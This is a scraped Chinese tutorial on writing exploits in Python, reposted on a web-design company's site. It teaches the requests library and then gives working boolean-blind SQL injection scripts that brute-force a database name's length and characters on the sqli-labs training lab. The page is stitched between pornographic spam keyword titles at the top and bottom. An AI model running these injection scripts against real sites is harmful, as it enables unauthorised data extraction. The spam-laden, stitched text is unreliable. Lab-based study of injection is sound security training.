欧美一级特黄大片做受成人-亚洲成人一区二区电影-激情熟女一区二区三区-日韩专区欧美专区国产专区

怎么用Python編寫EXP

本篇內(nèi)容介紹了“怎么用Python編寫EXP”的有關(guān)知識,在實(shí)際案例的操作過程中,不少人都會遇到這樣的困境,接下來就讓小編帶領(lǐng)大家學(xué)習(xí)一下如何處理這些情況吧!希望大家仔細(xì)閱讀,能夠?qū)W有所成!

盱眙網(wǎng)站制作公司哪家好,找成都創(chuàng)新互聯(lián)公司!從網(wǎng)頁設(shè)計(jì)、網(wǎng)站建設(shè)、微信開發(fā)、APP開發(fā)、響應(yīng)式網(wǎng)站設(shè)計(jì)等網(wǎng)站項(xiàng)目制作,到程序開發(fā),運(yùn)營維護(hù)。成都創(chuàng)新互聯(lián)公司于2013年創(chuàng)立到現(xiàn)在10年的時(shí)間,我們擁有了豐富的建站經(jīng)驗(yàn)和運(yùn)維經(jīng)驗(yàn),來保證我們的工作的順利進(jìn)行。專注于網(wǎng)站建設(shè)就選成都創(chuàng)新互聯(lián)公司

一、環(huán)境

1、python3

2、用到的模塊requests

3、sqli-lab

二、requests模塊應(yīng)用

1、獲取網(wǎng)頁的內(nèi)容

# coding=utf-8import requestsres=requests.get("http://192.168.1.129/html/1.html")print(res.content.decode("utf-8"))

2、獲取頭信息

3、獲取提交的網(wǎng)址

print(res.headers)print(res.url)

運(yùn)行結(jié)果:

{'Date': 'Tue, 04 Aug 2020 13:01:06 GMT', 'Server': 'Apache/2.4.23 (Win32) OpenSSL/1.0.2j PHP/5.4.45', 'Last-Modified': 'Sun, 31 May 2020 15:48:24 GMT', 'ETag': '"676-5a6f39bc391c0"', 'Accept-Ranges': 'bytes', 'Content-Length': '1654', 'Keep-Alive': 'timeout=5, max=100', 'Connection': 'Keep-Alive', 'Content-Type': 'text/html'}http://192.168.1.129/html/1.html

4、修改訪問時(shí)UA信息

# coding=utf-8import requestsurl="http://192.168.1.129/html/1.html"header={"User-Agent":"aiyoubucuo"}res=requests.get(url,headers=header)print(res.request.headers)運(yùn)行結(jié)果:{'User-Agent': 'aiyoubucuo', 'Accept-Encoding': 'gzip, deflate', 'Accept': '*/*', 'Connection': 'keep-alive'}

5、超時(shí)處理,網(wǎng)頁超過三秒沒有反應(yīng)當(dāng)做異常

# coding=utf-8import requestsurl="http://192.168.1.129/html/chaoshi.php"try:    res=requests.get(url,timeout=3)    print(res.request.headers)except Exception as e:    print("網(wǎng)頁已超時(shí)?。?!")

6、提交get數(shù)據(jù)

# coding=utf-8import requestsurl="http://192.168.1.129/get.php"data={"aiyou":"bucuo"}res=requests.get(url,params=data)print(res.url)

運(yùn)行結(jié)果:

http://192.168.1.129/get.php?aiyou=bucuo

7、POST提交數(shù)據(jù)

# coding=utf-8import requestsurl="http://192.168.1.129/post.php"datas={"aiyou":"bucuo"}res=requests.post(url,data=datas)print(res.content.decode("utf-8"))

運(yùn)行結(jié)果:

array(1) {  ["aiyou"]=>  string(5) "bucuo"}

8、上傳文件

# coding=utf-8import requestsurl="http://192.168.1.129/shangchuan.php"upfile={"file":open("123.txt","rb")}datas={"submit":"submit"}res=requests.post(url,files=upfile,data=datas)print(res.content.decode("utf-8"))

運(yùn)行結(jié)果:

怎么用Python編寫EXP

三、獲取數(shù)據(jù)庫長度

#判斷數(shù)據(jù)庫長度,http://192.168.1.129/sqli/Less-8/?id=8' and (length(database())) = 8 --+# coding=utf-8import requestsurl="http://192.168.1.129/sqli/Less-8/"reslen=len(requests.get(url=url+"?id=1").text)print("正常情況下網(wǎng)頁返回?cái)?shù)據(jù)的長度"+str(reslen))dblen=0while True:    dburl=url+"?id=1'+and+(length(database()))="+str(dblen)+"--+"    print(dburl)    if len(requests.get(dburl).text)==reslen:        print("數(shù)據(jù)庫名字長度為:"+str(dblen))        break    if dblen==30:        print("出現(xiàn)錯(cuò)誤!")        break    dblen+=1

運(yùn)行結(jié)果:

怎么用Python編寫EXP

四、獲取數(shù)據(jù)庫名字

# coding=utf-8import stringimport requestsurl="http://192.168.1.129/sqli/Less-8/"reslen=len(requests.get(url=url+"?id=1").text)print("正常情況下網(wǎng)頁返回?cái)?shù)據(jù)的長度"+str(reslen))#判斷數(shù)據(jù)庫長度,http://192.168.1.129/sqli/Less-8/?id=2' and (length(database())) = 8 --+dblen=0while True:    dburl=url+"?id=1'+and+(length(database()))="+str(dblen)+"--+"    print(dburl)    if len(requests.get(dburl).text)==reslen:        print("數(shù)據(jù)庫名字長度為:"+str(dblen))        break    if dblen==30:        print("出現(xiàn)錯(cuò)誤!")        break    dblen+=1dbnmae=""#生成8個(gè)字母for i in range(1,9):    #獲取字母從a-z    for a in string.ascii_lowercase:        dburl=url+"?id=1'+and+substr(database(),"+str(i)+",1)="+"'"+a+"'"+"--+"        print(dburl)        if len(requests.get(dburl).text)==reslen:            dbnmae+=a            print(dbnmae)            break

運(yùn)行結(jié)果:

怎么用Python編寫EXP

“怎么用Python編寫EXP”的內(nèi)容就介紹到這里了,感謝大家的閱讀。如果想了解更多行業(yè)相關(guān)的知識可以關(guān)注創(chuàng)新互聯(lián)網(wǎng)站,小編將為大家輸出更多高質(zhì)量的實(shí)用文章!

本文名稱:怎么用Python編寫EXP
轉(zhuǎn)載源于:http://aaarwkj.com/article4/gihhoe.html

成都網(wǎng)站建設(shè)公司_創(chuàng)新互聯(lián),為您提供App開發(fā)、搜索引擎優(yōu)化、靜態(tài)網(wǎng)站、網(wǎng)站排名、企業(yè)建站面包屑導(dǎo)航

廣告

聲明:本網(wǎng)站發(fā)布的內(nèi)容(圖片、視頻和文字)以用戶投稿、用戶轉(zhuǎn)載內(nèi)容為主,如果涉及侵權(quán)請盡快告知,我們將會在第一時(shí)間刪除。文章觀點(diǎn)不代表本網(wǎng)站立場,如需處理請聯(lián)系客服。電話:028-86922220;郵箱:631063699@qq.com。內(nèi)容未經(jīng)允許不得轉(zhuǎn)載,或轉(zhuǎn)載時(shí)需注明來源: 創(chuàng)新互聯(lián)

網(wǎng)站優(yōu)化排名
青青草成人公开在线视频| 精品久久亚洲一区二区欧美| 91欧美精品一区二区| 成年女人毛片免费观看不卡| 日本师生三片在线观看| 日韩亚洲国产欧美在线观看| 日韩免费色视频一区| 欧美精品熟妇乱黑人最大| 美女午夜精品国产福利| 亚洲av日韩专区在线观看| 国产精品无遮挡猛进猛出| 欧美日韩一区二区综合性色| 末满18周岁禁止观看| 国产精品日本欧美一区二区| 日本韩国欧美成人精品| 国产一区在线视频无卡顿| 国产精品观看在线亚洲人成网| 精品国产一区二区三区大| 欧美日韩欧美日韩一区二区| 亚洲国产区男人的天堂| 欧美亚洲国产日韩另类| 免费国产污在线观看网站| 国产乱国产乱老熟女视频| 日本特黄特色三级在线观看| 亚洲av日韩专区在线观看| 精品久久久久久亚洲电影| 自拍偷拍一区蜜桃视频| 日韩高清有码一区二区| 加勒比久久精品网址系列| 高清中文字幕一区二区三区| 久久久久久精品国产av| av熟女一区二区三区| 四虎国产精品久久久久久网址| 日本高清不卡在线播放| 人妻日韩精品综合一二三四| 男人的天堂成人午夜视频| 中文字幕人妻丝袜二区| 动漫美女视频在线看黄| 在线欧美亚洲观看天堂| 国产欧美日韩一区二区三区四区| 成人性生交大片免费看久久|